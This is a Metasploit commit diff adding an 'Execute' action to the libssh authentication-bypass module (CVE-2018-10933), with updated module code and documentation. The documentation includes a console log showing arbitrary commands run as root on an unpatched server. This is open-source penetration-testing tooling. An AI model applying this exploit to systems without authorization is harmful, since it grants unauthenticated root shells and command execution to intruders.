Skip to content

Commit e73a568

Browse files
committed
Land rapid7#10855, Enable non-session command output for SSH modules
2 parents 9b01f3d + 9c49acb commit e73a568

File tree

3 files changed

+60
-12
lines changed

3 files changed

+60
-12
lines changed

documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md

Lines changed: 30 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,13 +20,21 @@ additional code paths to be followed.
2020
4. Follow the steps in `INSTALL` to build libssh
2121
5. Run `build/examples/ssh_server_fork` (I like to `strace` it)
2222

23+
## Actions
24+
25+
```
26+
Name Description
27+
---- -----------
28+
Execute Execute a command
29+
Shell Spawn a shell
30+
```
31+
2332
## Options
2433

2534
**CMD**
2635

27-
Set this to a command you want to execute in lieu of a standard shell
28-
session. An `exec` channel request will be sent instead of a `shell`
29-
request.
36+
Set this to a command or shell you want to execute. An `exec` channel
37+
request will be sent instead of a `shell` channel request.
3038

3139
**SPAWN_PTY**
3240

@@ -76,6 +84,25 @@ tty
7684
#
7785
```
7886

87+
Positive testing of shell commands using the `Execute` action:
88+
89+
```
90+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
91+
action => Execute
92+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
93+
cmd => id; uname -a
94+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
95+
96+
[*] 172.28.128.3:2222 - Attempting authentication bypass
97+
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
98+
[*] 172.28.128.3:2222 - Executed: id; uname -a
99+
uid=0(root) gid=0(root) groups=0(root)
100+
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
101+
[*] Scanned 1 of 1 hosts (100% complete)
102+
[*] Auxiliary module execution completed
103+
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >
104+
```
105+
79106
Negative testing against patched libssh 0.8.4:
80107

81108
```

lib/net/ssh/command_stream.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ def shell_requested(channel, success)
2121
end
2222

2323
channel[:data] = ''
24+
channel[:extended_data] = ''
2425

2526
channel.on_eof do
2627
cleanup
@@ -32,10 +33,12 @@ def shell_requested(channel, success)
3233

3334
channel.on_data do |ch, data|
3435
self.rsock.write(data)
36+
channel[:data] << data
3537
end
3638

3739
channel.on_extended_data do |ch, ctype, data|
3840
self.rsock.write(data)
41+
channel[:extended_data] << data
3942
end
4043

4144
self.channel = channel

modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb

Lines changed: 27 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -35,12 +35,17 @@ def initialize(info = {})
3535
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']
3636
],
3737
'DisclosureDate' => 'Oct 16 2018',
38-
'License' => MSF_LICENSE
38+
'License' => MSF_LICENSE,
39+
'Actions' => [
40+
['Shell', 'Description' => 'Spawn a shell'],
41+
['Execute', 'Description' => 'Execute a command']
42+
],
43+
'DefaultAction' => 'Shell'
3944
))
4045

4146
register_options([
4247
Opt::RPORT(22),
43-
OptString.new('CMD', [false, 'Command to execute']),
48+
OptString.new('CMD', [false, 'Command or alternative shell']),
4449
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),
4550
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])
4651
])
@@ -57,21 +62,22 @@ def check_banner(ip, version)
5762

5863
if v.nil?
5964
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
60-
return Exploit::CheckCode::Safe
65+
Exploit::CheckCode::Unknown
6166
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
6267
v.between?(Gem::Version.new('0.8.0'), Gem::Version.new('0.8.3'))
6368
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")
64-
return Exploit::CheckCode::Appears
69+
Exploit::CheckCode::Appears
6570
else
6671
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")
67-
return Exploit::CheckCode::Safe
72+
Exploit::CheckCode::Safe
6873
end
69-
70-
# Hopefully we never hit this
71-
Exploit::CheckCode::Unknown
7274
end
7375

7476
def run_host(ip)
77+
if action.name == 'Execute' && datastore['CMD'].blank?
78+
fail_with(Failure::BadConfig, 'Execute action requires CMD to be set')
79+
end
80+
7581
factory = ssh_socket_factory
7682

7783
ssh_opts = {
@@ -124,7 +130,19 @@ def run_host(ip)
124130
return
125131
end
126132

127-
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
133+
case action.name
134+
when 'Shell'
135+
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)
136+
when 'Execute'
137+
output = shell.channel[:data].chomp
138+
139+
if output.blank?
140+
print_error("Empty or blank output: #{datastore['CMD']}")
141+
return
142+
end
143+
144+
print_status("#{ip}:#{rport} - Executed: #{datastore['CMD']}\n#{output}")
145+
end
128146
end
129147

130148
def rport

0 commit comments

Comments
 (0)